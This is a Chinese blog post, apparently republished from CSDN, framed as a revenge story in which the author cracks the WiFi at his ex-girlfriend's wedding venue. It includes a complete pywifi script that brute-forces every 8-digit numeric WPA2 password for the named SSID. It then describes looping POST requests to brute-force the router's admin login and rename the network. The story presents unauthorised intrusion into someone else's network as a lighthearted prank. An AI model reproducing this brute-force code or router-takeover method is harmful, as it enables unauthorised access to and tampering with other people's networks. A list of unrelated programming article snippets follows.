在前女友婚礼上用python把婚礼现场的WIFI名称改成了
作者:LexSaints 发布时间:2023-05-26 15:15:49
标签:Python,wifi
上次的故事是这样的
前女友发来加密的"520快乐.pdf",我用python破解开之后,却发现...
事情是这样的
小哥哥还是来到了婚礼现场
在一个背靠角落的桌子前坐下
耳朵里塞满了 幸福到听不清的嘈杂声
闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼
一股莫名的感觉直往上冲
默默,掏出了笔记本 python开发工具
现场的WiFi名称叫:"婚礼第一大厅"
python破解WiFi密码
1、安装pywifi和comtypes 两个模块
pip install pywifi
pip install comtypes
PS C:\Users\pacer> pip install pywifi
Collecting pywifi
Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
PS C:\Users\pacer> pip install comtypes
Collecting comtypes
Downloading comtypes-1.1.10.tar.gz (145 kB)
|████████████████████████████████| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>
2、生成8位密码
假设WiFi密码为8位纯数字
for i in range(100000000):
#生成8位数密码
pwd=str(i).zfill(8)
print(pwd)
3、完整代码
使用pywifi模块,将wifi名称、密码配置进去,进行尝试。
import time
import pywifi
from pywifi import const
for i in range(100000000):
#生成8位数密码
pwd=str(i).zfill(8)
print(pwd)
profile = pywifi.Profile()
profile.ssid ='婚礼第一大厅' #wifi名称
profile.auth = const.AUTH_ALG_OPEN #验证方式
profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
profile.cipher = const.CIPHER_TYPE_CCMP #加密类型
profile.key=pwd
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
wedding = iface.add_network_profile(profile)
#尝试连接
iface.connect(wedding)
time.sleep(3)
if iface.status() == const.IFACE_CONNECTED:
print('连接成功')
break
else:
print('密码不对,连接失败,好气哦~~')
连接成功
一段时间后,连接成功。
拿到wifi密码之后
拿下路由器
1、路由器管理地址
路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。
http://192.168.0.1/
2、路由器登录提交分析
通过页面提交密码测试,发现密码是明文提交服务器验证的。
如下图
3、循环提交请求
通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。
成功登录,拿下路由器
修改WIFI的名称
登录路由器界面,修改“婚礼第一大厅”WIFI名称
故事结尾
一切结束了,站起身,最后看了一眼
在交相辉映的灯光下
大大的合照上,手捧着鲜花 那张放肆笑着的脸
WiFi名改好了,告辞~
来源:https://blog.csdn.net/weixin_42350212/article/details/117260497


猜你喜欢
- 如果你想开始学习GO语法前,请先背熟下述4点:1. 环境变量:使用go env查看环境变量GOARCH/GOHOSTARCH: 体系架构,
- 代码如下:create table T_NEWS ( ID NUMBER, N_TYPE VARCHAR2(20), N_TIT
- 在中文网页中最常见的网页编码就是GB2312和UTF-8了,本文介绍了ASP实现GB2312编码转换为UTF-8编码的函数:Function
- 本文实例讲述了C#操作SQLite数据库之读写数据库的方法。分享给大家供大家参考,具体如下:这里演示读写数据库并在窗体(Form)中显示其数
- 本文实例讲述了Python实现数通设备端口使用情况监控的方法。分享给大家供大家参考。具体如下:最近因工作需要,上面要求,每天需上报运维的几百
- 基于pygame的飞机大作战小游戏,适合新手,不能直接运行,只能在命令行进入当前游戏目录,输入python game.py才能够运行,尚不知
- Numba是Python的即时编译器,在使用NumPy数组和函数以及循环的代码上效果最佳。使用Numba的最常见方法是通过其装饰器集合,这些
- 查看表空间的名称及大小代码如下:SQL>select t.tablespace_name, round(sum(bytes/(1024
- #过滤式特征选择#根据方差进行选择,方差越小,代表该属性识别能力很差,可以剔除from sklearn.feature_selection
- numpy.flip(m, axis=None)Reverse the order of elements in an array alon
- 某天在群内有同学问到,在python下我用input或者raw_input都得输入完后回车才能获取到输入的值,那如何实现任意键退出暂停等功能
- os包想要使用os包一样要先导入:import osos包下可以直接调用的函数下面介绍一下os包中可以直接调用的函数:例子:例子:例子:注意
- 什么要学习PyTorch?有的人总是选择,选择的人最多的框架,来作为自己的初学框架,比如Tensorflow,但是大多论文的实现都是基于Py
- 整理文档,搜刮出一个vue事件对象、冒泡、阻止默认行为的代码,稍微整理精简一下做下分享。事件对象<!DOCTYPE html>&
- 首先画出流程图,流程图与现实代码有出入,因为刚开始画流程图的时候,有些东西没考虑进去,后来写着写着就慢慢能想起来并实现了。另有一点经验推荐给
- 知识点:了解lxml模块和xpath语法的关系;了解lxml模块的使用场景;了解lxml模块的安装;了解 谷歌浏览器xpath helper
- 前言在Python的世界里,将一个对象以json格式进行序列化或反序列化一直是一个问题。Python标准库里面提供了json序列化的工具,我
- JavaScript图片水平翻转后垂直翻反转的特效一:<!--把下列代码加到body区域内--><SCRIPT langu
- 本文实例为大家分享了opencv实现图像缩放效果的具体代码,供大家参考,具体内容如下图像缩放:图像缩放即对图像的大小进行调整,即放大或者缩小
- 在学会了SELECT语句的构造和用途之后你就该学习如何使用它了。在你所掌握的数据库工具下,这可能意味着你得按下某个写着“执行”字样的按钮。在